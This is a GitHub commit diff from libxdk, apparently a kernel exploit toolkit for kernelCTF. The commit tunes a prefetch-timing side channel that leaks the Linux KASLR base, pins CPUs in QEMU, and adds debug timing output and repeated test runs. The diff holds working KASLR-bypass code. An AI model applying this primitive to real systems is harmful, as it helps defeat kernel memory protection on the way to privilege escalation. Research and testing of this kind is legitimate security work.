Skip to content

Commit b34226e

Browse files
committed
fixup: improve edge detection (sequential tests, isolcpus)
1 parent 96a273f commit b34226e

6 files changed

Lines changed: 42 additions & 23 deletions

File tree

.github/workflows/test-libxdk.yml

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -104,7 +104,7 @@ jobs:
104104
- name: Test libxdk (QEMU)
105105
if: ${{ success() || failure() }}
106106
working-directory: ./libxdk
107-
run: CUSTOM_MODULES_KEEP=1 timeout 20m ./run_tests.sh ${{ steps.vars.outputs.target }} 1 --tap
107+
run: CUSTOM_MODULES_KEEP=1 timeout 20m ./run_tests.sh ${{ steps.vars.outputs.target }} 200 --tap
108108

109109
- name: Move test results to separate dir
110110
if: ${{ success() || failure() }}

image_runner/run_vmlinuz.sh

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -89,12 +89,12 @@ if [ ! -z "$CUSTOM_MODULES_TAR" ]; then
8989
IDE_IDX=$((IDE_IDX+1))
9090
fi
9191

92-
qemu-system-x86_64 -m 3.5G -nographic -nodefaults -no-reboot \
92+
taskset -c 2,3 qemu-system-x86_64 -m 3.5G -nographic -nodefaults -no-reboot \
9393
-enable-kvm -cpu host -smp cores=2 \
9494
-kernel $VMLINUZ \
9595
-initrd $SCRIPT_DIR/initramfs.cpio \
9696
-nic user,model=virtio-net-pci \
9797
$SERIAL_PORTS $QEMU_ARGS \
98-
-append "console=ttyS0 panic=-1 oops=panic loadpin.enable=0 loadpin.enforce=0$EXTRA_CMDLINE init=/init -- $COMMANDS_TO_RUN"
98+
-append "isolcpus=1 console=ttyS0 panic=-1 oops=panic loadpin.enable=0 loadpin.enforce=0$EXTRA_CMDLINE init=/init -- $COMMANDS_TO_RUN"
9999

100100
stty sane 2>/dev/null || true

libxdk/include/xdk/util/pwn_utils.h

Lines changed: 4 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -18,6 +18,8 @@
1818

1919
#include <stdint.h>
2020

21+
#include <vector>
22+
2123
/**
2224
* @defgroup util_classes Utility Classes
2325
* @brief Helper classes for various utilities.
@@ -65,7 +67,8 @@ void pin_cpu(int cpu);
6567
*
6668
* @param samples The number of prefetch samples to collect per candidate address.
6769
* @param trials The number of addresses to collect for majority voting.
70+
* @param debug_data Optional pointer to a vector to store debug timing data.
6871
* @return The kernel base address.
6972
* @throws ExpKitError if the address could not be leaked.
7073
*/
71-
uint64_t leak_kaslr_base(int samples = 100, int trials = 3);
74+
uint64_t leak_kaslr_base(int samples = 100, int trials = 3, std::vector<std::vector<uint64_t>>* debug_data = nullptr);

libxdk/run_tests.sh

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -46,7 +46,7 @@ rm test_results/round_* test_results/dmesg_* 2>/dev/null || true
4646

4747
echo "Running tests..."
4848
for i in $(seq 1 $TIMES); do
49-
$SCRIPT_DIR/../image_runner/run.sh "$DISTRO" "$RELEASE_NAME" --custom-modules=keep --only-command-output --no-rootfs-update --dmesg=test_results/dmesg_$i.txt --qemu-args="-D test_results/debug_$i.txt -d int,cpu_reset,unimp,guest_errors" -- /test_runner --target-db test/artifacts/kernelctf.kxdb $TEST_RUNNER_ARGS > test_results/round_$i.txt &
49+
$SCRIPT_DIR/../image_runner/run.sh "$DISTRO" "$RELEASE_NAME" --custom-modules=keep --only-command-output --no-rootfs-update --dmesg=test_results/dmesg_$i.txt --qemu-args="-D test_results/debug_$i.txt -d int,cpu_reset,unimp,guest_errors" -- taskset -c 1 /test_runner --target-db test/artifacts/kernelctf.kxdb $TEST_RUNNER_ARGS > test_results/round_$i.txt
5050
done
5151

5252
wait

libxdk/test/tests/UtilsRuntimeTests.h

Lines changed: 13 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -34,15 +34,25 @@ class UtilsRuntimeTests: public TestSuite {
3434
TEST_METHOD(leaksKaslrBase, "leaks KASLR base") {
3535
uint64_t expected = xdk_->KaslrLeak();
3636

37-
int total = 1000;
37+
int total = 1;
3838
int incorrect = 0;
3939
for (int i = 0; i < total; i++) {
40-
uint64_t actual = leak_kaslr_base();
40+
std::vector<std::vector<uint64_t>> debug_data;
41+
uint64_t actual = leak_kaslr_base(100, 7, &debug_data);
4142
if (actual != expected) {
4243
printf("Iteration: %d failed, expected %llx, got %llx\n", i, expected, actual);
44+
45+
for (size_t trial = 0; trial < debug_data.size(); trial++) {
46+
const auto& timings = debug_data[trial];
47+
printf("Trial %lu timings:\n", trial);
48+
for (size_t slot = 0; slot < timings.size(); slot++) {
49+
printf("Slot %lx: %lu\n", 0xffffffff81000000 + slot * 0x200000, timings[slot]);
50+
}
51+
}
52+
4353
incorrect++;
4454
}
4555
}
46-
ASSERT_EQ(incorrect, 0);
56+
ASSERT_EQ(0, incorrect);
4757
}
4858
};

libxdk/util/pwn_utils.cpp

Lines changed: 21 additions & 15 deletions
Original file line numberDiff line numberDiff line change
@@ -24,6 +24,7 @@
2424
#include <iostream>
2525
#include <sys/syscall.h>
2626
#include <unistd.h>
27+
#include <immintrin.h>
2728

2829
bool is_kaslr_base(uint64_t kbase_addr) {
2930
if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000)
@@ -86,17 +87,13 @@ std::optional<uint64_t> try_find_edge(const std::vector<uint64_t>& timings) {
8687
}
8788
uint64_t threshold = max_diff / 2;
8889

89-
std::cout << "median: " << median << " threshold: " << threshold << std::endl;
90-
for (size_t slot = 0; slot < timings.size(); slot++) {
91-
printf("%lx: %lu \n", slot_to_addr(slot), timings[slot]);
92-
}
93-
9490
for (size_t slot = 0; slot < timings.size(); slot++) {
9591
uint64_t diff = abs_diff(timings[slot], median);
9692
if (diff >= threshold) {
9793
return slot;
9894
}
9995
}
96+
10097
return std::nullopt;
10198
}
10299

@@ -151,26 +148,31 @@ uint64_t sidechannel(uint64_t addr) {
151148
return delta;
152149
}
153150

154-
std::optional<uint64_t> try_leak_kaslr_base(int samples) {
151+
std::pair<std::optional<uint64_t>, std::vector<uint64_t>> try_leak_kaslr_base(int samples) {
155152
size_t slots = (KASLR_END - KASLR_START) / KASLR_SLOT_SIZE;
156-
std::vector<uint64_t> timings(slots, std::numeric_limits<uint64_t>::max());
153+
std::vector<std::vector<uint64_t>> all_timings(slots);
154+
for (auto& t : all_timings) {
155+
t.reserve(samples);
156+
}
157157

158158
for (int i = 0; i < samples; i++) {
159159
for (size_t slot = 0; slot < slots; slot++) {
160160
uint64_t addr = slot_to_addr(slot);
161-
syscall(104);
162161
uint64_t timing = sidechannel(addr);
163-
if (timing < timings[slot]) {
164-
timings[slot] = timing;
165-
}
162+
all_timings[slot].push_back(timing);
166163
}
167164
}
168165

166+
std::vector<uint64_t> timings(slots);
167+
for (size_t slot = 0; slot < slots; slot++) {
168+
timings[slot] = compute_median(all_timings[slot]);
169+
}
170+
169171
std::optional<size_t> slot = try_find_edge(timings);
170172
if (slot.has_value()) {
171-
return slot_to_addr(*slot);
173+
return {slot_to_addr(*slot), timings};
172174
}
173-
return std::nullopt;
175+
return {std::nullopt, timings};
174176
}
175177

176178
std::optional<uint64_t> find_majority(const std::vector<std::optional<uint64_t>>& slots) {
@@ -205,11 +207,15 @@ std::optional<uint64_t> find_majority(const std::vector<std::optional<uint64_t>>
205207
return std::nullopt;
206208
}
207209

208-
uint64_t leak_kaslr_base(int samples, int trials) {
210+
uint64_t leak_kaslr_base(int samples, int trials, std::vector<std::vector<uint64_t>>* debug_data) {
209211
std::vector<std::optional<uint64_t>> slots(trials);
210212
for (int attempt = 0; attempt < KASLR_MAX_ATTEMPTS; attempt++) {
211213
for (int trial = 0; trial < trials; trial++) {
212-
slots[trial] = try_leak_kaslr_base(samples);
214+
auto result = try_leak_kaslr_base(samples);
215+
slots[trial] = result.first;
216+
if (debug_data) {
217+
debug_data->push_back(result.second);
218+
}
213219
}
214220
std::optional<uint64_t> slot = find_majority(slots);
215221
if (slot.has_value()) {

0 commit comments

Comments
 (0)